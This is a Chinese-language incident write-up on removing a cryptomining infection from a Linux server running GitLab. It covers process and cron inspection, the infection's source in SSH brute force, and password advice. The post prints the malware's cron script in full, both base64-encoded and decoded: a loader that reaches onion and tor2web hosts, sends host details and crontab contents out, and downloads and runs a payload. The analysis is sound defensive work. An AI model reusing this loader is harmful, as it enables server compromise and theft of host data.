解决linux中挖矿病毒

服务器服务不响应

有同事反应gitlab无法使用，登录服务器后台，发现有个进程占用CPU很高，进程名异常

 获取病毒绝对路径

[root@localhost ~]# cat /proc/17521/cmdline 
wswfEOH6[root@localhost ~]# ls -l /proc/17521/exe 
lrwxrwxrwx. 1 root root 0 7月  13 10:03 /proc/17521/exe -> /root/b5e9c4b2a988579aa182c39360e629bd (deleted)

这边病毒启动后已删除

查看病毒是否有守护

发现病毒有守护且病毒是通过定时任务启动的，杀掉病毒及其守护进程

[root@localhost ~]# ls -l /proc/2151/exe 
lrwxrwxrwx. 1 root root 0 7月  13 10:10 /proc/2151/exe -> /root/9330c5e316c24db405cffc8e22abdbb3 (deleted)
[root@localhost ~]# kill -9 2151
[root@localhost ~]# kill -9 17521

查看定时任务

[root@localhost ~]# crontab -l
7 * * * * /root/.systemd-private-fcpik5lHQoUS1rX8s9YXtANnS7MeR3Wp.sh > /dev/null 2>&1 &

 删除其定时任务

查看病毒信息

[root@localhost ~]# more /root/.systemd-private-fcpik5lHQoUS1rX8s9YXtANnS7MeR3Wp.sh 
#!/bin/bash
exec &>/dev/null
echo fcpik5lHQoUS1rX8s9YXtANnS7MeR3Wp
echo ZmNwaWs1bEhRb1VTMXJYOHM5WVh0QU5uUzdNZVIzV3AKZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDokSE9NRTovYmluOi9zYmluOi91
c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogL
WY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAid2FjcG5uc280b3R0eGx5dmpwMmFkYWllYWl2eHgyc2F4b3ltZWRuaWRwM3
p5Zm9xZmM1anBxYWQiKQoKc29ja3ooKSB7Cm49KGRvaC50aGlzLndlYi5pZCBkb2gucG9zdC1mYWN0dW0udGsgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5
sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcg
cmVzb2x2ZXItZXUubGVsdXguZmkgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b
3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTExKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MS
wzfVxiIiB8dHIgJyAnICdcbid8Z3JlcCAtRXYgWy5dMHxzb3J0IC11UnxoZWFkIC1uIDEpCn0KCmZleGUoKSB7CmZvciBpIGluIC4gJEhPTUUgL3Vzci9iaW4
gJGQgL3Zhci90bXAgO2RvIGVjaG8gZXhpdCA+ICRpL2kgJiYgY2htb2QgK3ggJGkvaSAmJiBjZCAkaSAmJiAuL2kgJiYgcm0gLWYgaSAmJiBicmVhaztkb25l
Cn0KCnUoKSB7CnNvY2t6CmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwL
mFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YX
drIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR
0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9y
MndlYi5pdApkbwppZiAhIGxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jL
yQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC90bXA7dSAkdC4kaCkKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLX
VuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL2Rldi9zaG07dSAkdC4kaCkKZWxzZQpicmVhawpmaQpkb25lCg==|base64 -d|bash

从这shell脚本看其应该有加密，不过看起来是用base64进行加密的，解密出来为： 

exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "wacpnnso4ottxlyvjp2adaieaivxx2saxoymednidp3zyfoqfc5jpqad")

sockz() {
n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

其有使用curl从网上下载病毒并执行，执行后会删除其病毒文件，具体病毒的工作原理这边就不分析了。删除其病毒文件，并查找系统中是否还有其他病毒文件，具体为：

[root@localhost ~]# find / -name "*.systemd-private*"

至此病毒已基本被扫除，这为什么会中病毒呢？大概率是服务器不安全，ssh被暴力破解

确认是否ssh被暴力破解

[root@localhost ~]# find /var/log -name 'secure*' -type f | while read line;do awk '/Failed/{print $(NF-3)}' $line;done | awk '{a[$0]++}END{for (j in a) if(a[j] > 20) print j"="a[j]}' | sort -n -t'=' -k 2
172.18.22.10=472
172.26.4.85=690
172.28.94.41=1028
172.28.180.49=1079
172.29.21.201=1141
172.28.180.21=1252
172.28.9.241=1368
172.29.45.32=1390
172.28.108.218=1490
172.29.45.33=1546
172.28.16.113=1888
192.168.122.1=10938
[root@localhost ~]# 

确认是ssh被暴力破解，此时需要修改ssh密码，建议密码长度要够，需要大小写，数字及特殊符号的组合，当然还需要其他加固，这边就不详述了。